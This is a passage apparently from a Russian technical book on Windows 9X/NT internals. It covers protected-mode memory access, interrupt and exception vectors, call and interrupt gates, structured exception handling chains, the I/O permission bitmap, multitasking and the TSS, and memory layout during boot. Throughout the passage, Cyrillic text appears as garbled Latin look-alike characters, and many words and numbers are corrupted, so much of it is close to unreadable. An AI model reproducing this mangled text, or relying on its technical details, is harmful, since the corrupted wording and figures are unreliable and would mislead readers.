MMEIOT [TPABO BBITIOJIHSITD JIIOObIE IPUBUIETHPOBAHHbIE KOMAH/[BI IIPOIIEC-
COPa; OHU MOTYT O0PAIIATHCS K JIOOBIM (hparMeHTaM MaMSITU U UCIIOJTHSITh
00011 KOJI, IPUCYTCTBYIONINIL B cicTeMe. BOT moueMy BUPYCBL, CTapTyIO-
IHE U3 MPUKIAJHBIX TPOTPAMM, TAK CTPEMSITCSI <ITPOOPATHCS B HYJIb>.

B Windows 9X /NT Bo3MOKHOCTb JOCTYIIa IIPOrPAMMBbI K KAKOMY-JIHO0
(bparmenTy mamsATH MOXKET TIPOBEPATHCS IBAXK/bL 1) BO BpeMs TpaHcJis-
MU CETMEHTHBIX a/[PECOB B JINHEWHbIE; 2) BO BPEMST TPAHCISAINY JIMTHEN -
HbIX B (husndeckue. [laxke ecam JeCKPUITOP CeTMEHTA COJNEPKUT <ITOJI-
xopsiuity RPL, nasmeko ne ¢akt, 4To mporpamma CyMeeT BBIITOJTHUTh
obpaliienue, Be/lb Ha UCXOJ] ONIePaIlUy BIUSIOT Takske 6uthl 1 1 2 B cTpo-
Kax TabJuIbl cTpaHuil. B pesyssrate ajpecHoe mpoCTPaHCTBO MPUKIIAJL-
HOI1 ITPOrPaMMbl TaK’Ke OKA3bIBACTCS «MCIIOJIOCOBAHHBIMY HA IOCTYITHBIE
U HEJIOCTYIIHbIE €l PETHOHBI.

4.1.3. O6paboTka npepbiBaHU U UCKIOYEHUIA

Pabotast B 3alllUIEHHOM PEKUMe, TPUKJIAIHAS TIPOrPaMMa He B3auMO-
NeCTBYET HU C PeaTbHBIMU (DPUBMUECKUMU JIpecaMy TTAMSITH, HU C PeaJib-
HBIMU BHENIHUMU ycTpoicTBaMu. Takum o6pas3oM, IIpOrpaMma BbIIIOJIHSI-
eTCsl Ha HEKOTOPOU 8Upmyaivuot mawune, a yupasJisieT ee BbIITOTHEHNeM
CIIEIMAbHBIA KOMIIOHEHT OTEPAIlMOHHOI cucTteMbl VMM — menedacep
BUPMYATOHBIX MAULUN.

Bupryanuzaius MalmmHHBIX PECYPCOB B 3alIUIIEHHOM pekiuMe OTTrpa-
eTCsT Ha MEXaHUu3M 00pabOTKU NPepbleanuil i UCKIHUCHUIL.

TepmuH «IIpepbIBaHNE» AHAJIOTUYEH 110 CMBICJIY CBOEMY aHAJIOTY, TIPH-
MEHSIBIIIEMYCSI B PEaJbHOM peskiMe paboThl mpoiteccopa. IIpepbiBaHus
MOTYT TIOCTYTIaTh KaK CO CTOPOHbI BHEITHUX yCcTpoicTB (Taiimepa, COM-
TOPTa, 3BYKOBOW KapThl U IIPOYNX ), TAK U T€HEPUPOBATHCS ITPOTPAMMHO
mocpeAcTBOM MamuHHON KOMaHBI «INT XX».
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[TonsTue «uckIOYeHUs]> B KAKOI-TO Mepe COOTBETCTBYET CUTYallUH,
BO3HUKAIOIIEeN 1pu reHepanyu rnpepbiBanuii 0 (monbeiTka gesnenus xa ()
u 6 (HeBePHbII KO/l MAITMHHON KOMAaH/[bl) PEAJTbHOTO PeXuMa. JTH TIpe-
PBIBAHUS TeHEPUPYIOTCSI CAMUM IIPOIIECCOPOM IIPU BO3HUKHOBEHUY B HEM
UCKJIIOYUTENBHBIX CUTYAIH, TPeOYIONHMX 06paboTKI O CTOPOHBI Ollepa-
IIMOHHON CUCTEMBbI UJIU ITPUKIAAHON MporpamMMbl. THUITMATOPOM UCKJIIO-
YeHUN 3alUIEHHOTO PesKUMa TaKKe CIIY KUT caM Tipoiieccop. Harpumep,
ucksouerre 0Dh reHepupyeTcst TP MOIBITKE TPOTPAMMBI 0GPATUTHCS
K CErMEHTY MaMsITH ¢ 00Jiee BBICOKMM YPOBHEM TIPUBHJIETHIL,

MS Windows pasmelaer B OTAeJIbHbIX CEIMEHTaX CUCTEMHOMN IaMsi-
TH HEKOTOPOE KOJMYECTBO 0OPAbOTYMKOB MPEPBIBAHUI U MCKIIOUEHUI],
(hopMupyet u3 j1eCKpUNITOPOB AITUX CETMEHTOB (TOUYHEE, U3 UX BeHTUJe!)
tabuiy IDT u sarpyskaer ee agpec B 48-6urossbiii peructp IDTR. B IDT
UMEeTCsT MECTO JIJIst 256 «CTPOK», BOT HEKOTOPbIE COOTBETCTBYIOIUE M
[IPePBIBAHUS U UCKJIIOYEHUS:

0 — moIbITKA [IeJIeHNs Ha HYJIb;

1 — npu ycranosiennoM B 1 6urte T B peructpe ¢hJ1aros renepupy-
€TCsI TIOCJIE BBIIOJTHEHUST IIPOLIECCOPOM KAXKION KOMAH/IbI;

3 — KOMaH/[a TeHEPAIMK ITOTO TIPEPHIBAHUST MEET OJJHOOUTOBDIIT
ko 0CCh u 3apesepBupoBaHa /sl HCIIOJIb30BAHUS B OTJIA4MKaX;
6 — HeBepHBII KOJI MAITUHHON KOMAaH/Ibl;

8 — aBoiiHas ommbKa (MCKIIOUeHNe BOSHIK/IO BO BPeMs 00pabOTKH
JIPYTOr0 UCKJIIOYEH NS );

0Ah — nesepusrii TSS;

0Bh — ommnbxa 3arpysku cerMmenTa,;

0Ch — ommubka B cTeke;

0Dh — o6mas ommbka 3amuThl (HAIPUMED, IIOIBITKA 00PaTUTHCS
K CErMEHTY MaMsATH ¢ 60Jjiee BBICOKUM YPOBHEM ITPUBUIIETH );

0Eh — noneiTka oOpaienus K cTpanulle, OTCyTCTBYIOLIEH B omepa-
TUBHOU ITaMSITH;

13h — obpauenue K AMCKOBOMY CEPBUCY CO CTOPOHBI IIPOIPAMMBI,
BBIIIOJIHOIIEeNCs B VME86;

20h — o6pamienne k BUpTyanbHOMy ApaiiBepy 13 0 KOJIbla 3aIUThL
B Windows 9X;

21h — obpamenue k cepBrcam ornepaiuonHoi cucrembl MS-DOS
CO CTOPOHbBI IPOTPAMMBbI, BbITIoJIHsAOIIelcst B VIM86;

2Eh — nepexon us 0 B 3 koab1o 3amutsl B Windows NT

©c 0 0 0 0 0000 0O 0O 00

! Ora CUTyalrda 4aCTO BO3HUKAET HE <«3JIOHAMEPEHHO», a IIPpU IIPOrpaMMHbBIX

omunbKax.
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O 30h — nepexox 13 0 B 3 kosbio 3amuTbl B Windows 9X;
O 30h-3Fh — annaparubie ipepbiBarust Irq0-Irq15 8 Windows NT;
O 50h-5Fh — anmnaparubie ipepbiBanust Irq0-Irq15 B8 Windows 9X.
Yactb npepblBaHUN U UCKIIOUEHUN ITePBOHAYAIBHO HE UMEIOT CBOUX
«JIMYHBIX> 06PabOTYNKOB, a OOCIYKUBAIOTCA HEKOTOPHIM YHUBEPCAIb-
HbIM Ko/1oM. Ho 110 Mepe ycranosku B [I9BM HOBBIX ycTpoiicTB (Hanpu-
Mep, 3BYKOBOI KapThl) U MHCTAJIISAIIE COOTBETCTBYIOIIUX JPABEPOB
MHOTHE TIPEPBIBAHMSI 0OPETAIOT CBOUX «HOBBIX X0O35I€B>.
OObIYHO UCKITIOYUTENbHAST CUTYAI[Us] BOSHUKAET B MPUKJIAJHON T1PO-
rpamme (KOJIbIIO 3aIuThl 3), a 00paboTKa ee IPOU3BOIUTCA Ie-TO B HEl-
pax MS Windows (koJbiio sammrsi 0). Kak ke corsiacoBaTb ypoBHU IIPH-
Busieruii? Hajo Bocrosib30BaThCst HEOMHOKPATHO YIIOMSHYTHIM panee, HO
MIOKa He PACCMOTPEHHBIM MOPOOHEE «BEHTUIIEM>. ITO CPEJICTBO, TI03BO-
JISTIOIee TepelaBaTh yIpaBieHue MeKIy KOJIOBbIMU CErMEHTAMU C Pas-
HBIMU YPOBHSIMU [IPUBUIIETUI.
(DaKTUYeCKN BEHTUIb TIPEICTaBIsieT co60i 64-OUTOBBIN JECKPUIITOP
CITEIUATIBHOTO BU/IA, COMEPIKAIIUI CChLIKY HA a/[Pec, KOTOPBIN YKA3bIBAeT
BHYTPb KaKOT0O-TO JIPYrOro, BO3MOKHO, H0Jiee TIPUBUIETHPOBAHHOTO Cer-
MeHTa. PazymeeTcs, MPUKIAHAS TIPOTrPAMMA HE MOJKET CAMOCTOSITEIbHO
CO3[IaTh BEHTUJIb U <IIPOJIE3Th» YePe3 HEro, ITO OJIKEH [IPeBAPUTENBHO
CHIesIaTh KOJI, pabOTAIONIHIA B HYJIEBOM KOJIbIle 3anuThl. DopMaT BEHTHUIISE:
6utel 0—15 1 48—63 — cMmemenue agpeca;
6utsl 16—31 — cenekrop axpeca;
6uThl 32—36 — CYETUUK ITaPaMeTPOB, COXPAHSIEMbIX B CTEKE;
6uthl 40—43 — npusHaky THNIA BeHTU/IA (cM. Bbime B 1. 4.1.1.1);
O6ut 44 — I CHCTeMHBIX AecKpunTopoB Bcerza 0 (cM. Bblme
B 4.1.1.1);
6uThl 4546 — yposens npusuiernii Bearuisa (moae DPL);
6UT 47 — <«BBIKJIIOYATEb> BEHTUJISL, eCii OH paseH 0, TO UCTOJIb-
30BaHUe BEHTUJISI HEBO3MOKHO U renepupyercst uckiouerre 0Bh;
ocrajibHbie GuThl paBHbI 0.
BeHTuiib JIErko OTJAUYUTh B TabJIMIE TECKPUTITOPOB 110 XapaKTEPHBIM
1 Hero OutoBbiM mpusHakaMm (6uthl 40—43). Bentuau GbiBaioT Tpex
TUIOB:
Q  BeHTWJIb IPEPHIBAHUS/JOBYIIKU — TI03BOJIIET 06pabaThIBaTh Mpe-
PBIBAHUS M UCKJIIOYEHUS;

O BeHTWIb BbI30BA — IIO3BOJISIET MIPOrPAMME JIETaJIbHO MEPEXOANTh
B JIpyroii cermeHT ripu oMoty komauibl «CALLy;

O BeHTWIb 33/1a4¥ — II03BOJISIET ONEPAIMOHHON CHCTEME MEePEKJIIO-
YaThCsl C OHOM 331a4K HA JAPYTYIO.

©C 00 00000
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Tem He MeHee TPUKIAAHAS TPOTpAMMa cama MoKeT obpaborarh
B TPETHEM KOJIbIle 3AIUThl HEKOTOPbIE UCKJIIOYEHUs], IIPUUNHON KOTOPBIX
crana. KaxoMy UCroHsIoIeMycsi B CICTEMe IIOTOKY OlePAIlHOHHOI CH-
CTEMOII TI0 YMOJYAHUIO CTABUTCSI B COOTBETCTBUE MIPUMUTHBHBIN «0a30-
BbIii» 00paboTYNK, 0TOOPAKAIOIINI aBapUIHOE COOOLIEHNE B OTIEIbHOM
OKHE MJIM HAa «CUHEM dKpaHe cMepTu» (ecJu MOTOK paboTaeT B HYJIEBOM
kosibiie 3amuthi Windows NT). Ho ator 06paboTuuK mosydaer yipas-
JIEHUE JIOBOJILHO PEJIKO, OTOMY YTO OUOIUOMEKU BPEMEHU UCNOIHEHUS.
(RTL — Run Time Library) s13pIKOB BBICOKOTO yPOBHSI, Ha KOTOPBIX IIH-
HIyTCst MPUKJIJIHBIE TPOrPaMMbl, BKJI0YaeT cBou obpaborunku. Kpome
TOTO, IIPU MTOMOIIU MexaHu3Ma «try/except» s3pika Cu++ nporpammucT
MOZKET YCTaHOBUTH JIJISI «OIACHOTO» (hparMenTa pazpabaTbiBaeMON 1po-
IPaMMBI €I1Ie OJIHY, <MHTEJIEKTYATbHYI0» TIPOTEAY Py 06paboTKU UCKIIIO-
YeHUst, IPU ITOM cTapbie 06pabOTUMKE He TIPOTIA/LYT, 4 IPOCTO OKAKYTCS
B IeNouKe 00paboTYMKOB 103aju HOBOTO. Kaskiblil HOBBIN yCTaHABIIM-
BaeMblii 06paboTUMK OyeT pasMelaThes BIIEPer CTapbiX, OTTECHS UX
B y6uny creka. [Ipu BOZHUKHOBEHUY MCKTIOUNUTEIbHOM CUTYaIN KaK-
JIbIiT 13 06pabOTYNKOB, TOJIYYHB YIIPABJIEHUE, MOKET 3aBEPIIUTHCST, TOME-
cruB B EAX xoz 1 (uckmouenue yeremno oo6paborano), 0 (McKIoueHme
He 06paboTaHo, nepegaTh yIpaBaeHue caeayioneMy o0paboTInKy B 1e-
rouke) win —1 (MCKII0UeHre MPOUTHOPUPOBAHO, POIOJIKUTh TIPOrPaM-
My). OTa cxeMa Ha3blBaeTCsl «CMPYKMypHoUu 0Opabomxoil UCKIIOUeHUT»
(SEH - Structured Exception Handling). Omuicarens kaxmzoro o6pabor-
YlKa B IeIOYKe COCTOUT M3 ABYX 32-OMTOBBIX IoJjeil: 1) ykasaTess Ha
IpeABIAYILIII oIcaTeb; 2) agpeca Koga nmpouerypbl 00paborku. CaMbrii
[epBbIii ONUCATEND B [IENOYKE [IPU CTAPTE TIOTOKA MOKET ObITh HANIEH 10
anpecy FS:[0], camblii mocnennuii uMeeT B 1oJie yKazaTesis Ha MPebILY-
it onucaresp 3navenne —1 (OFFFFFFFFh).

OnepanuonHas cucteMa ToKe aKTUBHO MCIOJIb3yeT MeXaHU3Mbl 06pa-
GOTKM IpephIBaHuil U UCKIOueHni. Hampumep, IIpu X MOMOIIN BUPTY-

FS:[0]

Anpec npeasiayiiero =g Adpec npeasigywerolgy = = « | OFFFFFFFFh

Agpec koaa Agpec koga Anpec kona
Kopn npouepype! Koa npoueaypei Koa npouenypbl
obpaboTunka obpaborunka obpaboTtuunka

Puc. 4.3 « Llenoyka 06paboTyNKOB NCKIIOHEHNIA
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anm3yeTcs aMATh, I0CTyITHASA TPUKIAHOM Tporpamme. B camom zeie,
peasibHbIil 0ObeM OIlepaTUBHOI IMaMsITH, YCTAaHOBJIEHHOI Ha HEeL0POroii
I[I9BM, peaKko IpeBbIIaeT HECKOIbKO COTeH MerabaiT, B TO BpeMs Kak
a/[pecHoe TIPOCTPAHCTBO MPOrPpaMMbl cocTaniisteT 4 T'6. Hemutyemo yacthb
CTPAHUIL WJIM CETMEHTOB TIPOCTO HE MTOMEIIAETCS B ONEPATUBHYIO MTAMSATD,
U COMEPKMMOE WX XpaHUTCS Ha aucke!. but 47 B mecKpuUITOpe TaKuX
cermeHTOB mau 6ut 0 B cTpoke Tabmuipl crpanuil copourer B 0, 1 1pu
MOIBITKE 0OPATUTHCST K TAKOMY CETMEHTY WJIN CTPAHWIIE BO3HUKAET HC-
KJIIOUYEHMe. YIIPaBJIeHHe MOIydaeT CUCTEMHBIN 06paboTUNK UCKIIOYEHHS,
KOTOPBIM CYMTBIBACT HYKHBIN (DPArMEHT C JMCKA, KOMUPYET €ro B olepa-
THUBHYIO IIaMATb, U CYACTANBASA IIPOTPaMMa TI0JIydYaeT BOXKAEICHHBIN /10~
CTYII K HEOOXOIMMOMY CETMEHTY UJIH CTPAHHUIILE.

Buptryamsyiorcs u BHenHue ycrpolicTBa. Kak n3BecTHO, MX KOHTPOJI-
Jiepbl TPOTPAMMUPYIOTCS Yepes3 MOPThl BBOA-BbIBO/A. CJI0BO COCTOIHUSA
Kayk101 rporpammbl costepskut nosie IOPL — ypoBenb npuBuiieruii BBo-
Jla-BBIBOJIA, TI0 yMOJ4aHuio ero 3navuenuie pasuo (. Kpome toro, kaxjoun
BBITTOJIHSIIOIIEICST TIPOTPaMMe CTaBUTCSI B COOTBETCTBUE OUMO08As Kapma
6600a-6vieoda (iomap) pasmepom 8 KO, Kaxablii GUT KOTOPOH COOTBET-
CTBYeT KaKOMY-TO TIOpTY. Ecsin Texyniuii ypoBeHb MPUBUJIETUI ITPOTPaM-
Mbl CPL=IOPL (uTo nmeeT Mecto, ecjirt 3ta mporpaMMa — KOMIIOHEHT OI1e-
PAIMOHHON CUCTEMBI, HATTPUMED BUPTYaJIbHbII JIPAIBEDP ), TO KAPTa IIPOCTO
WUTHOPUPYETCS, B IIPOTUBHOM CJIydae peakiius [poleccopa Ha MOTbITKY /10-
CTyHa K TIOPTY 3aBUCHUT OT COAEP:KUMOTO KapThl. Eci cooTBeTcTBYIONMI
6UT B KapTe yCTaHOBJEH B 1, TO 1ipu 00OpallieHuH K 3TOMY HOPTY MPOUCXO-
aut uckmouenue 0Dh, oOpabarbiBaeMoe OIepaIOHHON CHCTEMOIA.

B Windows 9X 1mo ymom4anuio oOHyJeHbI OUTBI, COOTBETCTBYIOLIIE
mopram BujeoajalTepa, nocjaeposarebioro uarepdeiica (3F8h-3FFh u
2F8h-2FFh), napasensroro uarepdeiica (378h-37Fh) u CMOS-nams-
T (70h-71h), a octanbubie 6uThl ycTanosiaensl B 1. O6paboTynK BO3-
HUKIIETO TIPU 0OPAIEHNN K HUM UCKJTIOUEHHUS [IBITAETCSI HAMTH COOTBET-
CTBYIOIIUI JAaHHOMY IIOPTY JIpaiiBep U NepeiaTh eMy yIIpaBJIeHue, a eciau
eMy 9TO He YIaeTCs, TO... TIPOCTO 0OHYJISIET COOTBETCTBYIONIUI GUT B Kap-
Te BBOJA-BBIBOJIA, OTKPBIBAsS, TAKUM 00OPA30M, TIOJHBIN JOCTYI K TIOPTY.
Buipouewm, HU TIPY KaKUX YCJAOBUAX He OOHYJISAIOTCSA OGUTBHI, COOTBETCTBYIO-
1[e IIOpTaM KOHTPOJIIepa IIPSIMOTro I0CTyIA K TaMATH 1 HEKOTOPBIM JIPY-
MM MOTEHIIUATBHO «OIACHBIM» ITOPTaM.

' O6b1uHO B (aitnax Win386.SWP aia Windows 9X n Pagefile.SYS niss Windows
NT, xorst Hepeiko B KauecTBe (ailia «[OJKAYKN» BBHICTYIIAET U CaM IIPOrPAMM-
HBIH (aii.
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B kapre Beoza-BoiBoga Windows NT 1o yMomganuio HeT OOHYJIEHHbIX
6utoB. BoJsiee TOro, Kapra BBOJA-BbIBOJA MCKYCCTBEHHO PACIIOJIOKEHA
B «HEMPAaBUJIILHOM» MECTe, TaK 4To uckiodenue 0 Dh npoucxoaut B io60M
cilydae, He3aBHCUMO OT e€ CoJiepsKuMOoro. CucTeMHbBII 00pabOTINK HCKIIIO-
YEHUST «JIOMYCKAET» K TOPTaM TOJIbKO BUPTyasbHbie apaiiBepbl ¢ CPL=0.
Ortkas B locTyIIe K [MOPTaM COIPOBOKIACTCS aBAPUUHBIM 3aBepIIeHUEM
Windows-mipusioskenuit, a DOS-mpusioskenust mpoosrKanT padoTy Tak,
cioBHO BMecTo koMan «IN/OUT» BbimosHuiach 00biuHas «<NOP».

JI1060IIBITHO, YTO YCTAHOBJIEHHBINM B CHCTEMe BUPTYaJIbHBII ApaiiBep,
MOJIyYaIONMH yIIpaBJeHre B pe3yJibrare MONBITKE 0OpalieHust K <«3a-
MIPENeHHOMY> MTOPTY, MOKET HE COOTBETCTBOBATH HUKAKOMY PEaIbHOMY
ycrpoiictBy. Tak, nanpumep, paspaboranublii 8 Microsoft, Ho He BKJIIO-
yennblii B querpubytussl MS Windows 3X/9X apaiisep SOUND.DRV
MoiesTupoBa paboTy OTCYTCTBYIONIEH 3BYKOBON KapThl CPEACTBAMU CH-
CTEMHOTO JIMHAMHUKA.

4.1.4. MexaHn3Mbl NogaepXKM MHOro3apgayHoCcTu

Orneparmottbie cucteMbl Kiaacca Windows sIBJISIFOTCS. MHOTO3a[aqHBIMU.
3TO 0O3HaYaeT, YTO OAHOBPEMEHHO I10/1 X YITPABJICHHUEM MOT'YT BBITIOTHATD-
€51 HECKOJTBKO CICTEMHBIX W TIPUKJIA[HBIX TPOTPAMM, TaK HA3bIBAEMbBIX 3(1-
Oau. Takue CUCTEMHBIE PECYPChI, KaK a[PECHOE MPOCTPAHCTBO 1 HAOOP BUP-
TyaJIbHBIX YCTPOMCTB, BBIJIEJISIOTCS ONIEPAIMOHHON CUCTEMON TIOJ KK/IYI0
OT/IEJIBHYIO 33714y U 00Pas3yioT B COBOKYITHOCTU OT/IEJIbHYI0 BUPTYAJIBbHYIO
MamuHy. B oflHOM a/IpecHOM TPOCTPAHCTBE MOTYT Pa3BUBATHCS HECKOJIb-
KO 33/1a4, TaK Ha3blBAEMbIX 70moxos (B TepMmuHosiorun Microsoft — thread,
Humv). BHyTpH KasK1011 TporpaMMbl ITPUCYTCTBYET, 110 KpallHel Mepe, O/InH
MOTOK («TJIaBHBII» ), HO MX MOKET OBITh 1 HECKOJIBKO. B aTOM ciryuae Bce
MOTOKK OJIHOU TIPOTPAMMbI Pa3/eJisiioT 0fIlee aapecHoe TPOCTPAHCTBO,
a Tojiyac lake M OIMH M TOT jKe TIPOTpaMMHBIN Ko KOHKypupytoT onn
JIUTIIB 32 TIpolieccopHoe BpeMs. HecMoTps Ha CyIecTBOBaHNE MHOTOIIPO-
rieccopabix [I9BM 1 MHOTOS1€PHBIX ITPOIIECCOPOB, TPOTPAMMHBIX TIOTOKOB
BCE PABHO BO MHOTO a3 6oJIbliie, 4eM apru(hMETUKO-TOTTIECKUX YCTPOICTB.
Ot pasziesienus mpoIecCOPHOTO BpeMEH! HUKY/IA He IEThCS.

B Windows 3X wucnosibsyercs KoonepamuseHoili MEXaHWU3M pasje-
JIEHUS TIPOIECCOPHOTO BPEMEHU MEXKIY MOTOKaMHU. JTO O3HAYAeT, YTO
KK/ TTOTOK IMOJHOCTBIO 3aHUMAeT Mporeccop (a Takke IOCTYITHBIE
pecypcol IIDBM) no Tex 1op, moka caMOCTOSITEJIbHO HE COUYTET HYIK-
HBIM OT/IaTh yIIpaBjieHue (Hampumep, Py IOMOIIM CUCTEMHOTO 3a1poca
«GetNextEvent») cucreme, KoTopasi 1iepefiacT ero KakoMy-To JAPyromy
MOTOKY, HaXOJAIIEMYCSI B TOJIOBe ouepean oxuzpanusd. llepexiouenne
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€ TIOTOKA Ha TIOTOK MOXKET OCYIIECTBUTb U IOJIb30BATEJIb MPU TTOMOIIN
MBI WM HasKaTHs KJIaBuaTypHoi komOuHary «Alt+Tabs.

B Windows NT (Bcernga) u 9X (kpome cirydast, KOT/Ia BBITIOJHSIIOTCSE
HeCKOJbKO 16-6uToBbix Windows-1iporpaMm) UCTIONb3YETCS 6bIMecHs10-
Wyl MEXaHU3M MHOTO03a[adyHoCTH. OrnepaloHHas cucTeMa BbIEsSeT
KQKIOMY MOTOKY K68aHm MPOIeCCOPHOTO BpeMeHu!, 110 UCTeYeHUN KOTO-
POro IPUHYAMUTEJIBHO TIepeiacT yIpaBJeHue IPyroMy MOTOKY, CTOSAIIEMY
B ouepenn oxuganus. OObIYHO BBHITECHAIONAA MHOTO33lauHOCTh T1eJIH-
KOM ¥ TOJIHOCTBIO Gasupyercss Ha 06paboTKe TaliMepHOro MpepbIBaHUS
IRQO, HO Ha HEKOTOPBIX COBPEMEHHBIX MATEPUHCKUX IJIATaX TTOSABUIHICDH
«aJIbTePHATUBHBIE» TAaliMepbl, IpeHa3HAYEeHHbIE JIJIs1 OPraHnu3aIui MHO-
ro3a/[auHbIX ONEPAIMOHHBIX CUCTEM M «cuzsmue» Ha apyrux IRQ. Ore-
pauuonnbie crcreMbl BeTBu Windows NT ¢criocoOHbI MCII0JIb30BaTh Kak
CHUCTEeMHBIH, TaK U aJIbTepPHATUBHbIE TaliMepBI.

ITporeccopsl 1386+ comepskaT MeXaHK3M, CYIECTBEHHO 06JIerdaromiii
OIlepaIMOHHOM cUCcTeMe MepPeKTIoUeHIE ¢ 3a/[aUi Ha 33/1a4y: alllapaTHyio
nojepkKy ceemenma cocmosinus sadavu (TSS). CerMeHT cocTosTHMS 3a-
Jlayu — 910 (pparMeHT ImaMsTh AJuHON He Menee 104 GaiitoB, oopmieH-
HBIH B BUJIE OT/IEJIBHOTO CETMEHTA, KOTOPBIN COAEPKUT BCIO UH(GOPMAITHIO,
HEOOXOMMYIO JIJIsl BO3OOHOBJICHUS BBINOJIHEHUS 3a/1a4H MOCJIe 06paTHO-
O TIepeKJII0YeHN Ha Hee, a UMEHHO COJIEPKUMOE PETUCTPOB, MOJI0KEeHNEe
CTEKOB JIJIsI PA3HbIX YPOBHEN PUBUIIETHIA, (hyiar TPacCUPOBKH, OUTOBYIO
KapTy BBOJa-BbIBOZIA U Tipouee. CesieKTOp aTOr0 CerMeHTa XpaHuTcs B
16-6uroBom perucrpe TR. B Windows 9X/NT npeumyiiecTBeHHO HC-
nosib3yercest oaun o6mmii TSS st Beex 3a1a4, BOT HanboJiee HHTEPeCHbIe
OGUTOBBIE TOJISI B 3TOM CETMEHTE:
6uter 0—15 — ccpLika He npenpiayimuii TSS;
6utsl 288—318 — peructp daros;
6ut 800 — GUT TPACCUPOBKH;
6utsl 816—831 — nosoxenne GUTOBOI KapThl BBOAA-BHIBOAA (111
Windows NT 10 110J1€ nMeeT 3HaYeHne, yKa3bIBAIOIIEee 3a IIPe/IeJIbl
TSS).

000

4.1.5. PacnpepeneHue onepaTtuBHON NamsiTu

WNHTepecHO M TMOYYUTETHHO O3HAKOMUTBCS C PacHpesiesieHueM MaMsATH
B pas3HbIX Bepcusax Windows: re pacioJiaraiorcest KOMIIOHEHTbI Ollepaliy-
OHHOII CUCTEMBI, Ky/Ia 3aTPY>KAIOTCSI PUKJIAHBIE TIPOrPAMMBbI U IIPOYNM.
! Tunmynoe s3nauenue — 20 MC, XOTs B 3aBUCMMOCTH OT BEPCUUN OHBPBHHOHHOﬁ
CHUCTEMbI 1N YC]IOBI/Iﬁ 3allyCKa IIporpaMMbl BO3MOKHBI BapHUallnu.
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ITO pacupesiesieHre YCTaHABIMBACTCS B IIPOIecce 3arpy3Ku oreparoH-
HOH CUCTeMBbI.

B Windows 3.X pacipenesienue ImaMsaTi BBILISAKUT poie seero. CHa-
yaja 3arpyxaetcsi oneparmontasi cucrema MS-DOS. Tlocie Bkiioue-
HUST KOMIIbIOTEpPA CHCTEMHBIN 3arpy3umnK, pa3MeleHHbIll B boot-cexTope,
cuMThIBaeT B rnmaMsaTh cucrtemubie Moayau «IO.SYS» u «MSDOS.SYSy,
KOTOpbIe, B CBOIO ouepejib, noarpyxkaior «COMMAND.COM». [Jlanee
rpu oMot «CONFIG.SYS» u «<AUTOEXEC.BAT» ycranaBiuBaot-
st HeOOXOIUMbIE HACTPOUKHU U 3aIlyCKAIOTCsT HeOOXOAUMbIE JIPAliBEPBI U
pesusientHble iporpammbl. 1 Bce, 3arpyska MS-DOS na atom 3akanun-
Baercst, a Windows Hazo sammyckarh npunyzautenbao! ITosTomy mpsimo
u3 «<AUTOEXEC.BAT» (usu 1mosb3oBaTesieM BPYYHYIO) 3aITyCKaeTCs
craproBas mporpamma « WIN.COM», koropas, B CBOIO 0uepe/ib, UHUITUA-
JIN3UPYET 3alUIIECHHBINA PEXKUM, 3arpysKaeT «HOBbIE» IPOrPAMMHBIE KOM-
nounenTsl Windows u nepezaer um yupasjienue. [Ipu aTom «6asucHasi»
obsactb (pusmdecKoii mamaTu pasMepoMm B 1 MO, comepskamas Tabauiry
BEKTOPOB ITIpepbiBaHuil, cucteMuble obnact MS-DOS, pernonb! Bueo-
namatu 1 ROM BIOS, B Windows 3.X ocTaeTcss Ha IpesKHEM MecTe U
AKTUBHO MCIIOJIb3YETCsI TpahUUecKoil «HAJICTPONKOI», PACIIONOKEHHON
re-TO B BEPXHUX ajpecax a[[pecHOTO IIPOocTpaHcTBa. Bce mpukiaaHbie
[pOTpaMMBbl, Kak opranusoBannbie B hopmate MS-DOS, tak u B popmare
Windows 3.X, «<KUBYT» B OJIHOM ¥ TOM K€ 00Il[eM aJPeCHOM IIPOCTPaH-
CTBE, XOTS W TOJYy4YaloT B CBOE pacllOpsizKeHHe HellepeceKaloluecs cer-
MEHTBI TJIe-TO [T0CePeArHe MEKIY «6asucoM» 1 «HaACTPOITKO».

B Windows 9X u NT pacupenenenue namaru croxuee. Kaxnaa 32-6u-
TOBAs IPUKJIAHASA TPOrPaMMa <KUBET» B CBOEM JIMYHOM a/[PECHOM I1PO-
CTpaHCTBe. AZipecHOe TPOCTPAHCTBO B ATUX OIEPAIMOHHBIX CHCTEMaX
JIOBOJILHO YEeTKO Pa3bUTO Ha JIBE PaBHBIE 110 Pa3Mepy 0OJIacTh: HUKHIE
2 T'6 BBIIEJISIOTCS TPUKJIAIHON IIPOTPAMMe, a BEPXHUE a[Peca OT/IAHbI CU-
creMHBIM KommonenTam. Camble Miaziime agpeca namaru (nepssie 4 Ko
B Windows 9X u nepssie 64 K6 8 Windows NT) sampemiensl [1J1s 3aI1CH.
[Tpuksaznble TTPOTPAMMBI, CO3/IaHHbBIE HEOTIBITHBIMU ITPOIPAMMUCTAMU
1 00OpaIanIIuecss K CBOUM ePEMEHHBIM 10 HEUHUIMATU3UPOBAHHBIM
yKa3aTeJisiM, C BBICOKOM BEPOATHOCTHIO MONALYT UMEHHO HA 3THU PETUOHBI
MaMSTH, YTO BHI30BET UCKJIIOUEHUE ¥ TIO3BOJIUT aBTOPY OOHAPYIKUTH U UC-
npasuTh omOKy. Ha a10M, COGCTBEHHO TOBOPS, BCE CXO/ICTBO B pacipe/ie-
Jernn agpecHbix mpoctpancTs Windows 9X u NT sakanuuBaercs, Terepb
HAYMHAIOTCS Pa3JIndms.

Windows 9X samyckaercst B iBa 9Tara: cHadyajia CHCTEMHBIN 3arpy34mK
BBIIIOJIHAET B TOYHOCTH T€E JKe JeHCTBUs, uTo 1 11pu 3armycke Windows 3.X,
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a UMeHHO 3arpy:kaet u Kouburypupyer MS-DOS. Ha aTom aTtare MoKHO
MpepBaTh MPOIECC 3arPy3KK U TOJYUUTh B cBOe pactopsikenue [19BM,
paboTarolLyIo 110/ yIIpaBjeHeM onepaimoHHoi cucreMbl MS-DOS 7.X.
Ho ecsu aToro He fes1aTh, TO IPOIIECC 3arPY3KH IIPOJAOJIKAETCS: aBTOMA-
THYyecku 3amyckaemas mnporpamma « WIN.COM» nipeaBaputesbHO Kap-
JMHAJIBHO PEOPraHu3yeT ONepaTUBHYIO HMaMsTh, CUCTEMY IIPEPbIBAHUI,
opraHusyer HeoOXOAUMbIE /st 3AlUIEHHOTO PEKUMa CUCTEeMHbIE Tab-
JIMIIBI, 3aTPysKaeT B aMATh Ga3zoBble KOMIOHEeHThl Windows 1, HakoHel,
«C YNCTOI COBECTBIO> IIEPe/IAeT yIIpaBieHue OHOMY U3 TAKUX KOMIIOHEH-
